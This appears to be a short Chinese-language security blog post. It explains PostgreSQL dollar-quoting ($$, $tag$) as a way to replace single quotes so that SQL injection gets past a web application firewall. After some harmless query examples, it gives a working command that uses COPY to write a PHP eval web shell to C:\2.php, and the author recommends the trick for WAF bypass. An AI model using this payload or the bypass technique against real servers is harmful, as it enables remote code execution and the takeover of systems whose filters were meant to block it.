0x01 概要

这是偶然在手册看到的,感觉很新奇,用来绕过waf的话,想必也是不错的选择

0x02 例子一 - 基础使用

  1. # 普通情况-单引号输出内容
  2. skylar=# select 'a';
  3. +----------+
  4. | ?column? |
  5. +----------+
  6. | a |
  7. +----------+
  8. 1 row in set
  1. // 使用 $$代替单引号输出内容
  2. skylar=# select $$a$$;
  3. +----------+
  4. | ?column? |
  5. +----------+
  6. | a |
  7. +----------+
  8. 1 row in set
  1. // 混淆 $$ 代替单引号
  2. // 注意: 在 $[填写英文开头]$ 可以这样混淆一下代替单引号
  3. // 需要注意如果
  4. // 开头 $$ 填写的是 $t1$
  5. // 那么作为闭合的 $$ 也要填写为 $t1$
  6. // 两者需要保持一致
  7. // 例如我下面的 $test$ === 单引号
  8. skylar=# select $test$a$test$;
  9. +----------+
  10. | ?column? |
  11. +----------+
  12. | a |
  13. +----------+
  14. 1 row in set

0x03 例子二 - 过滤单引号写shell方法

  1. // 使用 $$ 替代 单引号写shell
  2. 命令: COPY (select $$<?php @eval($_POST[1]);?>$$) to $$C:\2.php$$;

image.png
image.png

0x04 总结

我自己感觉用来绕过waf的时候会挺好用